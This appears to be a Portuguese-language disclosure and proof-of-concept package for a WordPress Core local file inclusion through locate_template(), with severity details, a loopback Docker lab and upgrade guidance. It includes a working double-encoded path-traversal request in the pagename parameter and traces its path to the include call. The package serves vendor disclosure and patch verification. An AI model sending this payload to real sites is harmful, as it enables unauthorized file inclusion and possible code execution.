
Pacote de prova de conceito e divulgação para CVE-2026-87902, uma inclusão local de arquivo não autenticada no WordPress Core via locate_template(), com um laboratório de loopback e orientações de correção.
abraxaslabs.tech · github.com/abraxas · @abraxas_null · CVE-2026-87902
WordPress — WordPress Core 7.1.1 — WordPress
O WordPress Core é vulnerável a Inclusão Local de Arquivo (Local File Inclusion) através da função locate_template() em várias versões até, e incluindo, a 7.1.1.
| CVE | CVE-2026-87902 · CVE.org |
| CWE | CWE-98 |
| CVSS | Alto: 8.1 CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Produto | WordPress Core |
| Afetado | todas as versões até 7.1.1 (inclusive) |
| Corrigido | 7.1.2 e posteriores |
| Autenticação | não autenticado (ver mapa de origem) |
| Licença | GNU Affero GPL v3.0 |
| Lab | apenas 127.0.0.1 · pacote de divulgação para fornecedor/cliente, não é um scanner |
wp-includes/template.php get_page_template + locate_template na 7.1.1. Patch 7.1.2 _wp_is_template_path_allowed e validate_file no pagename decodificado.
GET/?page_id={id}&pagename=templates%252F%252e%252e%252F%252e%252e%252F%252e%252e%252Fuploads%252Fghsa7hp8-witnessGET /?page_id=<published page>&pagename=<double-encoded templates/../../../uploads/ghsa7hp8-witness>WP_Query parse_query is_page from page_id; get_posts replaces WHERE with ID=page_idget_page_template urldecode pagename then page-{$pagename}.phplocate_template file_exists(stylesheet_path + '/' + template_name) no jailtemplate-loader realpath + includeCorpo 200 não autenticado contém GHSA7HP8-WITNESS e wp_version=7.1.1. O controle GET /?page_id=N não contém.
Faça isto primeiro: Atualize o WordPress Core para 7.1.2 ou mais recente.
Verifique após a atualização
CVE-2026-87902-Abraxas-Labs.py contra a build corrigida: a testemunha mapeada não deve aparecer.Se não puder atualizar imediatamente
Alvo apenas http://127.0.0.1:8088 (ou o loopback que você vinculou). Não aponte este script para a internet.
python3 CVE-2026-87902-Abraxas-Labs.py
Sucesso é a testemunha acima no corpo da resposta. HTML 200 genérico não é isso.
Stack de loopback usada para reproduzir. Imagens oficiais, a menos que um Dockerfile nesta pasta faça build a partir do código-fonte.
cd lab
docker compose up --force-recreate
Vincule a árvore do produto vulnerável ao lado do Compose se o YAML montar um diretório local (zip do plugin / tag de origem da tabela de versões). Não publique nada exceto 127.0.0.1.
# CVE-2026-87902 / GHSA-7hp8-65ch-5whp
CWE: CWE-98
CVSS: High 8.1 CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H (Wordfence). GitHub advisory: Critical.
## Description
An unauthenticated attacker can make `get_page_template()` page-template resolution include a chosen readable local `.php` file outside the active theme directories. `locate_template()` in WordPress <= 7.1.1 concatenates the caller-supplied template name onto the theme path and does not verify the result stays inside the theme. The core-reachable vector is the url-decoded `pagename` query variable. WordPress 7.1.2 adds `_wp_is_template_path_allowed()`.
## Product
WordPress 7.1.1 (fixed in 7.1.2, backported through 4.7.37). Lab oracle is LFI of a witness PHP file, not RCE.
Este pacote de divulgação está licenciado sob a GNU Affero General Public License v3.0. Ver LICENSE.
Este pacote é para o fornecedor, o proprietário do site e labs licenciados. O script se comunica com 127.0.0.1. Usá-lo contra sistemas que você não possui não é autorizado pela Abraxas Labs. Sem garantia.